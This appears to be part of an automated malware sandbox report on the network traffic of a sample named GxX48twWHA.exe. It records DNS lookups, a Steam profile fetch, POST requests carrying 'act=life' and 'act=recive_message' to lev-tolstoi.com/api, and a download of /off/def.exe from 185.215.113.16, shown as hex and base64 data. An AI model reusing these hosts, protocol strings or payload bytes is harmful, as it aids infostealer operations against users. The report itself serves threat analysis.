Dec 26, 2024 13:23:00.216569901 CET	1.1.1.1	192.168.2.4	0xca0	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:23:00.216569901 CET	1.1.1.1	192.168.2.4	0xca0	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:23:00.216569901 CET	1.1.1.1	192.168.2.4	0xca0	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:23:03.007412910 CET	1.1.1.1	192.168.2.4	0xd83e	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:23:03.009665966 CET	1.1.1.1	192.168.2.4	0x5a3e	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:23:03.009665966 CET	1.1.1.1	192.168.2.4	0x5a3e	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:23:03.009665966 CET	1.1.1.1	192.168.2.4	0x5a3e	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 26, 2024 13:23:09.903548956 CET	1.1.1.1	192.168.2.4	0x8edc	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 26, 2024 13:23:09.998205900 CET	1.1.1.1	192.168.2.4	0x8671	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

https:

js.monitor.azure.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49745	185.215.113.16	80	6284	C:\Users\user\Desktop\GxX48twWHA.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 13:22:41.584471941 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 26, 2024 13:22:43.008312941 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Dec 2024 12:22:41 GMT Content-Type: application/octet-stream Content-Length: 2801664 Last-Modified: Thu, 26 Dec 2024 11:19:36 GMT Connection: keep-alive ETag: "676d3bc8-2ac000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 c5 4d 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ @+M+`Ui`D @ @ @.rsrcD``@.idata f@gtwxvlel@2h@vnlbxhun *@.taggant@+"@
Dec 26, 2024 13:22:43.008359909 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 13:22:43.008372068 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 13:22:43.008455038 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 13:22:43.008501053 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 13:22:43.008526087 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 13:22:43.008538008 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 13:22:43.008709908 CET	1000	IN	Data Raw: 5d 75 4f 20 49 53 6c 40 19 54 46 20 71 63 46 20 53 75 4a 20 49 53 6c 26 71 51 46 20 4f 73 70 20 49 60 76 23 49 b2 46 20 49 50 46 20 5a 75 5d 20 49 57 c4 34 49 4d 50 2a 54 63 52 4b 90 54 4e ba 56 56 b5 38 49 4d 50 92 6c 4d 46 90 71 66 46 20 53 79 Data Ascii: ]uO ISl@TF qcF SuJ ISl&qQF Osp I`v#IF IPF Zu] IW4IMPTcRKTNVV8IMPlMFqfF Sys)gF SmT KMX qPF OzGJOuK ISlHUMF&R` IWn$IMLFQd,QT{MHMMF&owF I`v#IF IPF Zu] IW4IMPTcRKTNVV8IMPJMFqfF Syn)gF SmT KMX qPF OzGJOuK ISl)gF SuJ ISl(`R
Dec 26, 2024 13:22:43.008719921 CET	1236	IN	Data Raw: bc 4d 46 20 49 8d 5a 20 49 75 4c 20 49 70 9b 73 49 b5 60 20 49 5d 46 20 49 70 8d 75 92 91 46 20 49 c5 60 20 49 dd 48 20 49 70 88 8c b8 af 46 20 49 4d 46 20 49 4f 46 20 4a a4 83 22 5d 56 48 20 49 4d 40 22 7c 4d 5c 20 49 4e 46 20 49 6e 46 20 49 58 Data Ascii: MF IZ IuL IpsI` I]F IpuF I` IH IpF IMF IOF J"]VH IM@"\|M\ INF InF IXF IF I`F IsF InF IF IeF IQF IRF IPF IVF INF IOF ITF IMF3QNF IMF&IMSSFP3P&ILR\F&SMF&IL?RSFLPlO&IZM?RSFPlO&IM?RSFPlO&IM?RSFOP&ILRSFPlO&I$MjQSF\O3P
Dec 26, 2024 13:22:43.008733034 CET	1236	IN	Data Raw: 49 a8 4f 20 49 4f 46 64 4e 4d 46 23 49 ba 50 20 69 4d 46 20 49 4d 46 21 49 d9 4a 20 49 4f 46 51 53 4d 46 23 49 a6 50 20 69 4d 46 20 49 4d 46 21 49 d9 4a 20 49 4f 46 f2 51 4d 46 23 49 07 51 20 69 4d 46 20 49 4d 46 21 49 d9 4a 20 49 4f 46 fe 4e 4d Data Ascii: IO IOFdNMF#IP iMF IMF!IJ IOFQSMF#IP iMF IMF!IJ IOFQMF#IQ iMF IMF!IJ IOFNMF#IVL IQFQMF%IK ISF\RMF'IJ IUF5SMF)IK IWFMMF+IL INFrNMF!IN IOFNMF#IZN)IO!I^FRSF9IO*IvFR]FQIO0IFR]FaIO0IFR]FqIO0IFR]FIO5IFR]FIO0IFR]F
Dec 26, 2024 13:22:43.128448963 CET	1236	IN	Data Raw: 90 92 46 73 8e a0 99 69 98 9b 89 68 8a 9b 8d 65 49 a0 8b 72 9f 96 89 65 a8 9b 95 7f 8c 95 87 6e 90 92 46 6e 8e a1 88 69 97 91 8b 6e 8a 8f 92 65 49 9b 8b 74 8b 96 94 64 8d 96 99 61 8b 99 8b 20 9c 92 98 76 92 90 8b 7f 8e 9f 98 6f 9b ac 99 65 9f 92 Data Ascii: FsiheIrenFnineItda voeeIrerirMa euc veg emstMecateItdoFsicgogIai

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.102.49.254	443	6284	C:\Users\user\Desktop\GxX48twWHA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:22:16 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-26 12:22:17 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 26 Dec 2024 12:22:17 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=24f9ba0e9f91f744020601d4; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-26 12:22:17 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-26 12:22:17 UTC	16384	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-26 12:22:18 UTC	3768	IN	Data Raw: 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 61 63 74 69 6f 6e 73 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 73 75 6d 6d 61 72 79 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 20 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 5f 73 70 61 63 65 72 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 63 74 75 61 6c 5f 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 22 Data Ascii: </div><div class="profile_header_actions"></div></div><div class="profile_header_summary"><div class="persona_name persona_name_spacer" style="font-size: 24px;"><span class="actual_persona_name"
2024-12-26 12:22:18 UTC	490	IN	Data Raw: 72 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 6e 62 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 2f 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6f 6f 6b 69 65 73 3c 2f 61 3e 0a 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 22 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 74 Data Ascii: r Agreement</a>  \|  <a href="http://store.steampowered.com/account/cookiepreferences/" target="_blank">Cookies</a></span></span></div><div class="responsive_optin_link"><div class="bt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.66.86	443	6284	C:\Users\user\Desktop\GxX48twWHA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:22:19 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-26 12:22:19 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-26 12:22:20 UTC	1121	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 12:22:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3ubankulhebnuq1p3p93k51jis; expires=Mon, 21 Apr 2025 06:08:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4ptx%2B%2Fc5zGXwi5MfIe0CG4HKCqhC3Bxx3AWnrADWhGFXwhk0XS1cIujY7ytbXvA0WDoRnTrMKP1x4YRY2LYEDU5PaguLzCeXx1BZAcSoaW3cZi2e2g0tXnyxabYOD2gkRJU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8109257c594325-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1593&min_rtt=1589&rtt_var=605&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=906&delivery_rate=1794714&cwnd=180&unsent_bytes=0&cid=c475f483c3d7a82e&ts=761&x=0"
2024-12-26 12:22:20 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-26 12:22:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.66.86	443	6284	C:\Users\user\Desktop\GxX48twWHA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:22:21 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: lev-tolstoi.com
2024-12-26 12:22:21 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-26 12:22:22 UTC	1123	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 12:22:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cmjk2kjf9lnr7dacq7kg34g24u; expires=Mon, 21 Apr 2025 06:09:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pp6dO5P5O%2FjL3KvWCac5Zlgx2dpiYw2Z6BCAjFnLEgTtwq4Y7a7gWNhcP2anAHVIvnsvNKufixRIWI5aYTwsYMPNv%2BxwY808vunKwveQ0yz5%2FZGi77G4sJlVwFPlxnwNLyg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8109328ee57d1e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1794&min_rtt=1789&rtt_var=681&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=952&delivery_rate=1594756&cwnd=192&unsent_bytes=0&cid=a0b3de71adc2e0af&ts=806&x=0"
2024-12-26 12:22:22 UTC	246	IN	Data Raw: 34 39 31 63 0d 0a 53 45 2b 4f 74 37 62 4c 64 49 41 63 73 39 6f 47 79 44 61 39 6b 30 72 56 38 64 48 6a 74 36 70 43 6c 50 46 48 39 4b 4c 43 36 50 63 7a 62 66 69 56 6a 50 39 59 6f 6d 2f 57 2b 44 79 38 52 4d 6a 32 5a 76 65 51 74 63 47 4e 7a 43 50 34 67 69 4c 59 67 4c 53 46 31 58 49 70 37 39 76 46 72 6c 69 69 65 63 76 34 50 4a 4e 4e 6e 2f 59 6b 39 38 76 7a 68 74 33 49 49 2f 69 54 4a 70 2f 4e 73 6f 53 55 49 43 50 70 33 39 4f 6f 45 4f 46 77 33 72 39 6a 72 56 66 58 2f 53 4f 34 6d 62 7a 42 6d 34 67 6e 37 74 4e 39 31 75 2b 6e 6e 4a 59 46 4c 76 33 63 6c 4c 5a 59 2b 7a 37 57 74 43 54 79 46 4e 7a 32 4b 4c 6d 58 74 59 6a 66 77 69 72 77 6b 69 4f 65 30 71 75 4f 6e 79 41 74 36 74 37 5a 6f 51 54 73 65 74 6d 30 5a 61 64 58 6e 37 39 6f 73 49 76 7a Data Ascii: 491cSE+Ot7bLdIAcs9oGyDa9k0rV8dHjt6pClPFH9KLC6PczbfiVjP9Yom/W+Dy8RMj2ZveQtcGNzCP4giLYgLSF1XIp79vFrliiecv4PJNNn/Yk98vzht3II/iTJp/NsoSUICPp39OoEOFw3r9jrVfX/SO4mbzBm4gn7tN91u+nnJYFLv3clLZY+z7WtCTyFNz2KLmXtYjfwirwkiOe0quOnyAt6t7ZoQTsetm0ZadXn79osIvz
2024-12-26 12:22:22 UTC	1369	IN	Data Raw: 32 5a 57 62 45 76 57 43 4e 49 50 4e 73 49 7a 56 4e 57 50 31 6c 64 4f 6c 56 72 6f 2b 32 62 52 71 72 31 66 51 39 69 6d 33 67 62 79 42 31 73 41 6f 38 70 6b 71 6d 63 2b 75 67 4a 49 69 4a 4f 76 61 30 36 45 51 37 58 32 52 39 69 53 74 54 4a 2b 70 61 4a 65 44 73 49 4c 42 78 54 47 32 6a 47 75 50 67 4b 65 47 31 58 4a 74 36 74 76 56 70 42 62 77 64 74 71 7a 59 62 68 66 31 76 77 6c 74 35 36 35 6a 74 62 49 4a 2f 79 5a 4b 70 7a 45 72 59 65 54 4b 69 32 73 6d 35 53 75 44 71 49 6d 6b 5a 74 68 75 6c 50 54 35 32 71 4e 30 36 7a 50 7a 49 67 6e 2b 74 4e 39 31 73 69 6c 69 5a 59 68 49 75 2f 64 33 37 73 57 38 48 6a 63 76 58 61 73 55 64 48 37 4b 36 57 5a 76 59 66 57 77 53 76 2f 6c 69 4b 53 67 4f 37 4b 6b 6a 4a 74 74 4a 58 31 70 42 33 75 64 4d 61 34 4a 4c 55 61 78 72 45 76 75 39 50 Data Ascii: 2ZWbEvWCNIPNsIzVNWP1ldOlVro+2bRqr1fQ9im3gbyB1sAo8pkqmc+ugJIiJOva06EQ7X2R9iStTJ+paJeDsILBxTG2jGuPgKeG1XJt6tvVpBbwdtqzYbhf1vwlt565jtbIJ/yZKpzErYeTKi2sm5SuDqImkZthulPT52qN06zPzIgn+tN91siliZYhIu/d37sW8HjcvXasUdH7K6WZvYfWwSv/liKSgO7KkjJttJX1pB3udMa4JLUaxrEvu9P
2024-12-26 12:22:22 UTC	1369	IN	Data Raw: 53 79 32 33 57 57 52 32 4f 44 53 31 51 41 75 2b 4e 62 65 36 79 50 68 63 4e 2b 2f 63 75 70 4c 6b 65 68 6f 73 4a 2f 7a 32 5a 58 46 49 66 36 56 4e 35 6e 4e 6f 34 53 62 4a 53 6a 6a 33 64 53 70 47 2b 64 36 32 72 4e 6e 70 31 44 4e 2b 79 69 2f 6c 72 4b 4c 33 34 68 75 74 70 51 39 31 70 6a 67 75 34 49 68 62 39 6e 57 32 71 63 52 39 44 37 4f 39 6e 33 71 55 39 4f 78 63 50 65 65 75 34 54 51 78 79 48 38 6e 53 43 63 7a 4b 69 45 6c 6a 67 69 36 4e 58 59 6f 52 7a 76 63 4e 57 77 62 61 46 66 32 66 45 70 76 64 50 39 77 64 4c 51 59 4b 37 54 45 5a 48 4d 72 59 58 58 48 79 37 69 32 39 4f 2f 56 76 30 77 79 50 68 6a 70 68 53 48 73 53 53 2b 6b 37 69 4c 30 63 67 6e 2b 35 59 6d 6b 63 4f 74 6a 5a 38 6b 4b 75 6a 5a 33 61 51 51 34 6e 6e 56 76 58 61 76 58 64 50 39 61 50 6e 54 74 4a 6d 56 Data Ascii: Sy23WWR2ODS1QAu+Nbe6yPhcN+/cupLkehosJ/z2ZXFIf6VN5nNo4SbJSjj3dSpG+d62rNnp1DN+yi/lrKL34hutpQ91pjgu4Ihb9nW2qcR9D7O9n3qU9OxcPeeu4TQxyH8nSCczKiEljgi6NXYoRzvcNWwbaFf2fEpvdP9wdLQYK7TEZHMrYXXHy7i29O/Vv0wyPhjphSHsSS+k7iL0cgn+5YmkcOtjZ8kKujZ3aQQ4nnVvXavXdP9aPnTtJmV
2024-12-26 12:22:22 UTC	1369	IN	Data Raw: 51 70 31 70 6a 67 67 35 77 34 49 2b 4c 63 32 61 38 65 35 58 44 63 73 32 4b 68 55 39 6a 33 4a 62 2b 65 74 6f 4c 55 7a 43 72 6b 6b 43 36 63 7a 61 72 4b 32 32 6f 71 39 4a 57 4d 36 54 48 75 56 38 47 6a 64 72 77 55 77 4c 38 78 39 35 53 2f 77 59 32 49 49 2f 6d 61 4b 70 37 49 72 34 57 52 4a 43 76 71 32 4e 47 6d 48 50 42 32 33 37 56 76 70 56 2f 4e 38 53 57 7a 6e 37 65 4a 33 73 4a 67 75 4e 4d 69 6a 6f 44 34 79 71 41 6e 49 75 7a 57 77 75 6b 4a 72 47 65 52 76 32 6a 71 44 4a 2f 39 4a 72 65 63 76 34 33 65 77 43 48 36 6e 53 4b 54 79 61 69 43 68 79 73 70 35 4e 54 61 70 68 66 6d 65 39 53 38 59 36 35 53 30 4c 46 6d 39 35 53 72 77 59 32 49 44 39 47 6d 5a 37 66 36 34 4a 58 62 4d 32 33 72 32 5a 54 78 56 75 35 39 33 62 42 72 72 46 33 54 2b 79 47 38 6e 37 69 46 32 63 45 6c 38 Data Ascii: Qp1pjgg5w4I+Lc2a8e5XDcs2KhU9j3Jb+etoLUzCrkkC6czarK22oq9JWM6THuV8GjdrwUwL8x95S/wY2II/maKp7Ir4WRJCvq2NGmHPB237VvpV/N8SWzn7eJ3sJguNMijoD4yqAnIuzWwukJrGeRv2jqDJ/9Jrecv43ewCH6nSKTyaiChysp5NTaphfme9S8Y65S0LFm95SrwY2ID9GmZ7f64JXbM23r2ZTxVu593bBrrF3T+yG8n7iF2cEl8
